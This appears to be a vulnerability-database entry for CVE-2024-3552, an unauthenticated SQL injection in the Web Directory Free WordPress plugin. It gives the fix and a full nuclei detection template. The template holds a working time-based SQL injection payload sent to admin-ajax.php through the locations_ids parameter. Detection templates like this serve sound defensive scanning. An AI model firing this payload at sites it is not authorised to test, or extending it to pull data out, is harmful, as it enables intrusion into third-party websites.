HexBrain

Browse / CVEs / CVE-2024-3552

CVE-2024-3552· salephpscripts / web directory free

Web Directory Free < 1.7.0 - SQL Injection

criticalseverity
67.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.

Impact

Unauthenticated attackers can execute time-based SQL injection attacks via the locations_ids parameter.

Fix

Update Web Directory Free to version 1.7.0 or later.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/web-directory-free"
Send: POST /wp-admin/admin-ajax.php
Positive when: duration>=6 and status_code == 200 and regex('^\[\]$', body)

Run it with nuclei: nuclei -id CVE-2024-3552 -u <target>

The full check
id: CVE-2024-3552

info:
  name: Web Directory Free < 1.7.0 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection attacks via the locations_ids parameter.
  remediation: |
    Update Web Directory Free to version 1.7.0 or later.
  reference:
    - https://vulners.com/wpvulndb/CVE-2024-3552
    - https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/
  classification:
    epss-score: 0.6706
    epss-percentile: 0.99304
    cpe: cpe:2.3:a:salephpscripts:web_directory_free:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: salephpscripts
    product: web_directory_free
    publicwww-query: "/wp-content/plugins/web-directory-free"
  tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/web-directory-free"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - regex('^\[\]$', body)
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from